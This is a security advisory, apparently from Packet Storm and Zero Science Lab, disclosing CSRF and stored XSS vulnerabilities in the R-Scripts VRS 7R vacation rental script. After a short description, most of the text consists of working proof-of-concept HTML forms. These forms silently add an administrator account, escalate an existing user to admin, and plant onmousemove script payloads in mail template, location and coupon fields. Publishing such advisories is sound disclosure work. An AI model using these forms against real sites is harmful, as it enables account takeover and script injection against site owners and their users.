R-Scripts VRS 7R Cross Site Request Forgery / Cross Site Scripting

2015-11-12T00:00:00
ID PACKETSTORM:134318
Type packetstorm
Reporter LiquidWorm
Modified 2015-11-12T00:00:00

Description

                                        
                                            `  
R-Scripts VRS 7R Multiple Stored XSS And CSRF Vulnerabilities  
  
  
Vendor: R-Scripts  
Product web page: http://www.r-scripts.com  
Affected version: 7R  
  
Summary: PHP Vacation Rental Script is the best solution  
for your vacation rentals online business.  
  
Desc: The application allows users to perform certain actions  
via HTTP requests without performing any validity checks  
to verify the requests. This can be exploited to perform  
certain actions with administrative privileges if a logged-in  
user visits a malicious web site. Stored cross-site scripting  
vulnerabilitity was also discovered. The issue is triggered  
when input passed via multiple POST parameters is not properly  
sanitized before being returned to the user. This can be  
exploited to execute arbitrary HTML and script code in a  
user's browser session in context of an affected site.  
  
Tested on: Apache/2.2.29  
PHP/5.3.29  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2015-5274  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5274.php  
  
  
01.10.2015  
  
--  
  
  
CSRF Add Admin:  
---------------  
  
<html>  
<body>  
<form action="http://127.0.0.1/admin/users/add" method="POST" enctype="multipart/form-data">  
<input type="hidden" name="role" value="admin" />  
<input type="hidden" name="username" value="Testingus" />  
<input type="hidden" name="password" value="123123" />  
<input type="hidden" name="retype_password" value="123123" />  
<input type="hidden" name="generate_password_label" value=" Generate password" />  
<input type="hidden" name="name" value="Test" />  
<input type="hidden" name="email" value="test@test.tld" />  
<input type="hidden" name="phone" value="111111111" />  
<input type="hidden" name="phone2" value=" " />  
<input type="hidden" name="sms_phone" value=" " />  
<input type="hidden" name="sms_active" value="0" />  
<input type="hidden" name="fax" value=" " />  
<input type="hidden" name="country" value="Uganda" />  
<input type="hidden" name="location" value="N" />  
<input type="hidden" name="address" value="Address" />  
<input type="hidden" name="zip" value=" " />  
<input type="hidden" name="active_newsletter" value="0" />  
<input type="hidden" name="active" value="1" />  
<input type="hidden" name="banned" value="0" />  
<input type="hidden" name="ban_reason" value=" " />  
<input type="hidden" name="verified_user" value="1" />  
<input type="hidden" name="paypal_email" value=" " />  
<input type="hidden" name="submitf" value="submit" />  
<input type="submit" value="CSRF Add Admin" />  
</form>  
</body>  
</html>  
  
  
Privilege Escalation:  
---------------------  
  
<html>  
<body>  
<form action="http://127.0.0.1/admin/users/edit/4" method="POST" enctype="multipart/form-data">  
<input type="hidden" name="role" value="admin" />  
<input type="hidden" name="username" value="member" />  
<input type="hidden" name="password" value=" " />  
<input type="hidden" name="retype_password" value=" " />  
<input type="hidden" name="generate_password_label" value=" Generate password" />  
<input type="hidden" name="name" value="Member" />  
<input type="hidden" name="email" value="vrs_owner@vacationrentalscript.com" />  
<input type="hidden" name="phone" value=" " />  
<input type="hidden" name="phone2" value=" " />  
<input type="hidden" name="sms_phone" value=" " />  
<input type="hidden" name="sms_active" value="0" />  
<input type="hidden" name="fax" value=" " />  
<input type="hidden" name="country" value="Germany" />  
<input type="hidden" name="location" value="test" />  
<input type="hidden" name="address" value="test address" />  
<input type="hidden" name="zip" value=" " />  
<input type="hidden" name="active_newsletter" value="1" />  
<input type="hidden" name="active" value="1" />  
<input type="hidden" name="banned" value="0" />  
<input type="hidden" name="ban_reason" value=" " />  
<input type="hidden" name="verified_user" value="1" />  
<input type="hidden" name="paypal_email" value="sandbox_owner2@vacationrentalscript.com" />  
<input type="hidden" name="submitf" value="submit_view" />  
<input type="submit" value="Escalate" />  
</form>  
</body>  
</html>  
  
  
Stored XSS:  
-----------  
  
<html>  
<body>  
<form action="http://127.0.0.1/admin/mail_templates/add" method="POST">  
<input type="hidden" name="alias" value='" onmousemove=confirm(1) >' />  
<input type="hidden" name="sender_name" value='" onmousemove=confirm(2) >' />  
<input type="hidden" name="sender_email" value='" onmousemove=confirm(3) >' />  
<input type="hidden" name="bcc_copy" value='" onmousemove=confirm(4) >' />  
<input type="hidden" name="subject_1" value='" onmousemove=confirm(5) >' />  
<input type="hidden" name="subject_2" value=" " />  
<input type="hidden" name="subject_3" value=" " />  
<input type="hidden" name="subject_4" value=" " />  
<input type="hidden" name="subject_5" value=" " />  
<input type="hidden" name="body_1" value="test" />  
<input type="hidden" name="body_2" value=" " />  
<input type="hidden" name="body_3" value=" " />  
<input type="hidden" name="body_4" value=" " />  
<input type="hidden" name="body_5" value=" " />  
<input type="hidden" name="active" value="1" />  
<input type="hidden" name="is_bulk_mail" value="0" />  
<input type="hidden" name="submitf" value="submit_view" />  
<input type="submit" value="XSS Add Mail" />  
</form>  
</body>  
</html>  
  
  
Stored XSS:  
-----------  
  
<html>  
<body>  
<form action="http://127.0.0.1/admin/locations/add" method="POST">  
<input type="hidden" name="location_selected_id" value="0" />  
<input type="hidden" name="temp_lat" value="0" />  
<input type="hidden" name="temp_lng" value="0" />  
<input type="hidden" name="title_1" value='" onmousemove=confirm(1) >' />  
<input type="hidden" name="title_2" value=" " />  
<input type="hidden" name="title_3" value=" " />  
<input type="hidden" name="title_4" value=" " />  
<input type="hidden" name="title_5" value=" " />  
<input type="hidden" name="location_parent_id" value="-1" />  
<input type="hidden" name="slug_1" value=" " />  
<input type="hidden" name="slug_2" value=" " />  
<input type="hidden" name="slug_3" value=" " />  
<input type="hidden" name="slug_4" value=" " />  
<input type="hidden" name="slug_5" value=" " />  
<input type="hidden" name="lat" value='" onmousemove=confirm(2) >' />  
<input type="hidden" name="lng" value='" onmousemove=confirm(3) >' />  
<input type="hidden" name="zip_code" value=" " />  
<input type="hidden" name="active" value="1" />  
<input type="hidden" name="submitf" value="submit" />  
<input type="submit" value="XSS Add Location" />  
</form>  
</body>  
</html>  
  
Stored XSS:  
-----------  
  
<html>  
<body>  
<form action="http://127.0.0.1/admin/coupons/add" method="POST">  
<input type="hidden" name="start_date" value=" " />  
<input type="hidden" name="start_date_picker" value=" " />  
<input type="hidden" name="end_date" value="2015-11-12" />  
<input type="hidden" name="end_date_picker" value='" onmousemove=confirm(1) >' />  
<input type="hidden" name="title" value='" onmousemove=confirm(2) >' />  
<input type="hidden" name="hash" value="RG8AVL" />  
<input type="hidden" name="coupon_code" value='" onmousemove=confirm(3) >' />  
<input type="hidden" name="discount" value='" onmousemove=confirm(4) >' />  
<input type="hidden" name="utimes" value='" onmousemove=confirm(5) >' />  
<input type="hidden" name="active" value="1" />  
<input type="hidden" name="submitf" value="submit_view" />  
<input type="submit" value="XSS Add Coupons" />  
</form>  
</body>  
</html>  
`